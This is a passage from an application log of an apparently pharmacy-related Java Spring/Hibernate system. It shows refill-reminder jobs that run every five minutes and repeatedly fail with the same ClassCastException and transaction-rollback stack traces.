javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 